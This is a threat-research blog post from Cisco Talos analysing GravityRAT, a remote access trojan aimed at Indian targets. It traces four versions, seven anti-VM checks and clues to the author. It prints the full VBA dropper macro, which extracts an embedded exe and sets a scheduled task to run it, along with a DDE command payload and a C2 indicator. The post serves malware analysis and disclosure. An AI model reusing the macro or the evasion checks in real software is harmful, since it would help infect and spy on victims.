Update: 4/30 Since the publication of the blog post, one of the anti-VM capability was commented a lot on Twitter: the detection of Virtual Machines by checking the temperature of the system. We decided to add more details and clarifications concerning this feature. GravityRAT uses a WMI request in order to get the current temperature of the hardware. Here is the output of the query on a physical machine (a Surface Book):
The query returns the temperature of 7 thermal zones.
Here is the output on a Virtual Machine executed by Hyper-V on the same hardware:
The feature is not supported. The malware author used this behavior in order to identify VM (such as Sandboxes).
From our tests and the feedback from several researchers, this monitoring is not supported on Hyper-V, VMWare Fusion, VirtualBox, KVM and XEN. It's important to notice that several recent physical systems do not support it (a researcher reported some Lenovo and Dell hosts did not support this). It means that GravityRAT will consider this physical machine as VMs. Importantly to note this check is not foolproof as we have identified physical hosts which do not report back the temperature, however, it should also be considered a check that is identifying a lot of virtual environments. This is particularly important due to the amount of sandboxing & malware detonation being carried out within virtual environments by researchers.
Today, Cisco Talos is uncovering a new piece of malware, which has remained under the radar for the past two years while it continues to be developed. Several weeks ago, we identified the use of the latest version of this RAT (Remote Access Tool). In this article, we will discuss the technical capabilities, the evolution, development and potential attribution of what we are calling GravityRAT.
GravityRAT has been under ongoing development for at least 18 months, during which the developer has implemented new features. We've seen file exfiltration, remote command execution capability and anti-vm techniques added throughout the life of GravityRAT. This consistent evolution beyond standard remote code execution is concerning because it shows determination and innovation by the actor.
Throughout our investigation, we observed several malicious documents used to attack victims, which we will discuss. These malicious documents were used by the developer to run several tests on the popular analysis platform VirusTotal. Using VirusTotal allowed the developer to make changes in an attempt to decrease antivirus detection.
Although GravityRAT has not been previously published or discussed, there was some information from the National Computer Emergency Response Team (CERT) of India describing GravityRAT as being used in targeted attacks against India. Finally, we will discuss specific attribution elements discovered during our research into GravityRAT as we identify specific information, which we believe to be leaked by the developer, such as location, and potentially their first name.
Malicious Office Documents
The majority of the malicious documents crafted by the malware author are Microsoft Office Word documents. The attacker uses an embedded macro in order to execute malicious code on the victim's system. The document opens and appears as such:
The document asks to the user to enable macros in order to prove that the user is not a robot (similar to the CAPTCHA we often see on the internet). This, however, is a known tactic that a lot of Office-based malware uses. It is an attempt to trick any users who are using Protected Mode on their systems. By enabling macros, the malware is able to begin it's execution. We discovered that the embedded macro is quite small when extracted.
Sub AutoOpen() If Not Dir(Environ("TEMP") + "\image4.exe") <> "" Then Const lCancelled_c As Long = 0 Dim sSaveAsPath As String sSaveAsPath = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%Temp%") + "\temporary.zip" If VBA.LenB(sSaveAsPath) = lCancelled_c Then Exit Sub ActiveDocument.Save Application.Documents.Add ActiveDocument.FullName ActiveDocument.SaveAs sSaveAsPath ActiveDocument.Close Set app = CreateObject("Shell.Application") ExtractTo = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%Temp%") ExtractByExtension app.NameSpace(Environ("TEMP") + "\temporary.zip"), "exe", ExtractTo End If End Sub Sub ExtractByExtension(fldr, ext, dst) Set FSO = CreateObject("Scripting.FileSystemObject") Set app = CreateObject("Shell.Application") For Each f In fldr.Items If f.Type = "File folder" Then ExtractByExtension f.GetFolder, ext, dst ElseIf LCase(FSO.GetExtensionName(f.Name)) = LCase(ext) Then If Not Dir(Environ("TEMP") + "\image4.exe") <> "" Then app.NameSpace(dst).CopyHere f.Path, &H4 End If End If Next Shell "schtasks /create /tn wordtest /tr ""'%temp%\image4.exe' 35"" /sc DAILY /f /RI 10 /du 24:00 /st 00:01" End Sub
This macro contains three functions:
- The first one is executed when the document is opened. The purpose is to copy the active document (the opened Word document) in a temporary directory and to rename it as a ZIP archive. Indeed, the docx format is, in fact, a common ZIP archive, and can be unzipped using common tools.
- The second function decompresses this 'temporary.zip' file and extracts the .exe file stored in it.
- The third creates a scheduled task, named 'wordtest', to execute this malicious file every day. With this approach, the attacker ensures that there is no direct execution (the executable is executed thanks to scheduled tasks), there's no download of an additional payload, and finally, the author uses the fact that the docx format is an archive in order to include its executable (GravityRAT).
Testing By The Author
During our tracking, we identified several malicious documents submitted from this actor on VirusTotal for testing purposes. They tested the detection on macros (by modifying them, or by executing the calc instead of the malicious payload) and the developers tried dynamic data exchange (DDE) execution in the Office document. This is abusing the DDE protocol which exists within Microsoft Office documents. Whilst this is a feature Microsoft provide it is also a feature that an attacker can leverage for malicious activity, Microsoft published mitigation information here previously. The developer crafted Office Word and Excel documents to see the detection in VirusTotal. The authors tried to hide the DDE object in a different part of the document — in the main object and the header, for example. The DDE object simply executes Microsoft calc in the detected sample. Here is an example:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <w:document [...redated...}] mc:Ignorable="w14 w15 wp14"><w:body><w:p w:rsidR="00215C91" w:rsidRDefault="008C166A"><w:r><w:fldChar w:fldCharType="begin"/></w:r><w:r><w:instrText xml:space="preserve"> </w:instrText></w:r><w:r><w:rPr><w:rFonts w:ascii="Helvetica" w:hAnsi="Helvetica" w:cs="Helvetica"/><w:color w:val="383838"/><w:spacing w:val="3"/><w:sz w:val="26"/><w:szCs w:val="26"/><w:shd w:val="clear" w:color="auto" w:fill="FFFFFF"/></w:rPr><w:instrText>DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe"</w:instrText></w:r><w:r><w:instrText xml:space="preserve"> </w:instrText></w:r><w:r><w:fldChar w:fldCharType="end"/></w:r><w:bookmarkStart w:id="0" w:name="_GoBack"/><w:bookmarkEnd w:id="0"/></w:p><w:sectPr w:rsidR="00215C91"><w:pgSz w:w="12240" w:h="15840"/><w:pgMar w:top="1440" w:right="1440" w:bottom="1440" w:left="1440" w:header="720" w:footer="720" w:gutter="0"/><w:cols w:space="720"/><w:docGrid w:linePitch="360"/></w:sectPr></w:body></w:document>
We believe the filenames of the submitted samples are clearly testing docs, using different methods and Office tricks to attempt to ensure his malware was undetected. Those names were:
Our initial discovery of GravityRAT was through a malicious Word document. As explained previously, this Word document had various macros to deliver a final payload.Considering that this was the most recent version of the malware, we decided to ascertain how long this actor had been active, and how their attacks had evolved. We were able to discover four distinct versions of GravityRAT, developed over two years. Next, we will go through what we believe is the development life cycle and feature-addition mission carried out by this developer.
The malware author uses a versioning system starting by the G letter. The oldest version we identified is G1. Here is the PDB path of the sample:
f:\F\Windows Work\G1\Adeel's Laptop\G1 Main Virus\systemInterrupts\gravity\obj\x86\Debug\systemInterrupts.pdb
You can notice the potential first name of the developers: Adeel. Of course, this information can be manipulated by the malware author. This sample was compiled in December 2016. The original filename of the sample was resume.exe.
The purpose of this version was to steal information on the compromised system:
- MAC Address
- Computer name
- IP address
- Steal files with the following extensions: .docx, .doc, .pptx, .ppt, .xlsx, .xls, .rtf and .pdf
- The volumes mapped on the system
All this information was then sent to one of the following domains:
G1 also had the ability to execute commands remotely on the infected host machine at the author's will.
We identified a new variant used in July 2017 named G2. Here is the PDB of the sample:
e:\Windows Work\G2\G2 Main Virus\Microsoft Virus Solutions (G2 v5) (Current)\Microsoft Virus Solutions\obj\Debug\Windows Wireless 802.11.pdb
For this version, the developer modified the architecture of the malware. The main code aims to load and execute two additional .NET binaries stored in the resources of the file:
- The first resource is a legitimate open-source library available on GitHub. It's a .NET wrapper for the Windows Task Scheduler
- The second is the G2 version of GravityRAT
This variant shares the same command and control (C2) servers as G1, however, we have an additional 'payload' variable added to G2.
This variant has almost identical capabilities as the previous, except one additional functionality: It collects the CPU information in the Win32_Processor entry via WMI request (Processor ID, Name, Manufacturer and the clock speed). The attacker is most likely using this information as part of an anti-vm attempt within this malware. This is used to try and thwart analysis in virtual environments.
In a slight change to the previous variant, the new payloads are executed with a Windows Scheduled Task. This would explain the inclusion of the .NET wrapper.
The analysed sample contained a decoy picture document in the resource section:
In August 2017, the author of GravityRAT used a new variant of its malware, G3. Here is the PDB:
F:\Projects\g3\G3 Version 4.0\G3\G3\obj\Release\Intel Core.pdb
This variant uses the same method as G2, and includes a legitimate library in the resource section. The developers also added additional language support to the library:
The author changed the backend of the C2 server with this variant. The URI changed too, it contains the GravityRAT variant name:
August was also the same month NIC CERT notified potential victims that GravityRAT had been used in a targeted campaign. Given the ongoing development nature of this malware, it meant another variant was most likely due.
The latest version of GravityRAT was created in December 2017 named GX. Here is the PDB:
This version is the most advanced variant of GravityRAT. Throughout the evolution, we saw this malware embedding open-source legitimate .NET libraries (for schedule tasks, compression, encryption, .NET loading). It contains a resource named "important." This is an archive with a password.
This variant has the same features as before, but this time, some new features are added:
- It collects open ports on the victim host by running the netstat command
- It lists all the running processes
- It lists available services on the system
- It exfiltrates .ppt and .pptx file, in addition to the extension mentioned in the G1 variant
- If a USB key is connected on the system, the malware steals the file based on an extension list
- It supports file encryption (AES with the key "lolomycin2017")
- It collects information on the account (account type, description, domain name, full name, SID and status)
- It checks if the system is a virtual machine with several techniques
The developer implemented a total of seven techniques to identify if the compromised system is a virtual machine.
The first technique consists of looking at any additional tools used by the hypervisor that are installed on the system (by checking a registry key):
The second technique uses a WMI request to the BIOS version (Win32_BIOS entry). If the response contains: "VMware", "Virtual", "XEN", "Xen" or "A M I" the system is considered as a virtual machine. Additionally, the malware checks the SerialNumber and the version of the BIOS.
The third technique uses the Win32_Computer entry in WMI. It checks if the manufacturer contains "VIRTUAL", "VMWARE" or "VirtualBox".
The fourth technique checks the Processor ID of the system.
The fifth technique counts the number of cores in the infected system (the author expects more than one core)
The sixth technique checks the current CPU temperature of the system (the MSAcpi_ThermalZoneTemperature entry). Indeed, some hypervisors (VMWare, VirtualBox and Hyper-V) do not support temperature check. The WMI request simply replies "not supported". This behaviour can be used to detect if the targeted system is a real machine.
The last technique uses the MAC Address of the infected system. If the MAC Address starts by a well-known hexadecimal number, the system is identified as a virtual machine.
The C2 servers communication is performed in HTTP as it did previously. The variant version of GX is used in the URI. The C2 servers we can see are shared with the previous variants:
What we know about the author
Below, we will present evidence that we have obtained regarding the attacker and the associated malware. Obviously, attribution is a complex field. The developers could be using a proxy or a VPN in order to fake the origin of the submission. But, we will still simply present some facts concerning this actor.
The developer used at least two different usernames in the past two years: "The Invincible" and "TheMartian." In the oldest version of GravityRAT, the attacker potentially leaked his or her first name in the PDB: "Adeel" — the path contained "Adeel's Laptop". Additionally, all the malicious Office documents, and more specifically the documents used to test anti-virus on VirusTotal, were submitted from Pakistan. One of the four PE files in the IOCs section was sent from Pakistan, too.
In August 2017, NIC CERT published an advisory about malicious targeted campaigns. This advisory mentions the C2 server infrastructure of GravityRAT, which means the GravityRAT author likely targeted Indian entities/organisations. By leveraging Cisco Umbrella and using the Investigate tool, we were able to determine that across all of the C2 domains listed, we saw a large influx of traffic originating from India, as evidenced by NIC CERT, all of the C2 domains were at least 50 percent requested by Indian IP infrastructure. It is possible that some of the non-Indian IP space requests may artefacts be due to our own research.
This actor is probably not the most advanced actor we've seen. But he or she managed to stay under the radar since 2016. They worked on malicious code, and produced four variants. Each new variant included new features. The developer used the same C2 infrastructure all this time. The developer was clever enough to keep this infrastructure safe, and not have it blocklisted by a security vendor. The actor took their time to ensure they were not within a virtual environment to avoid analysis. However, they did not take any time at all to attempt to obfuscate their .NET code. The code was largely trivial to reverse engineer, which meant static analysis was an easy option for this piece of malware.
NIC CERT published an advisory about this actor, which suggest they targeted Indian entities and organizations.
The author leaked information within the samples (i.e. Adeel) and on the VirusTotal platform. Thanks to this information, we we able to understand how they tested malicious documents in order to decrease detection ratios across many popular engines. During this testing period, all the samples were uploaded from Pakistan to VirusTotal.
Additional ways our customers can detect and block this threat are listed below.
Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors.
Email Security can block malicious emails sent by threat actors as part of their campaign.
AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products.
Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network.
Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.
Other Malicious Documents (DDE)911269e72cd6ed4835040483c4860294d26bfb3b351df718afd367267cd9024f
C2 Servers hxxp://cone[.]msoftupdates.com:46769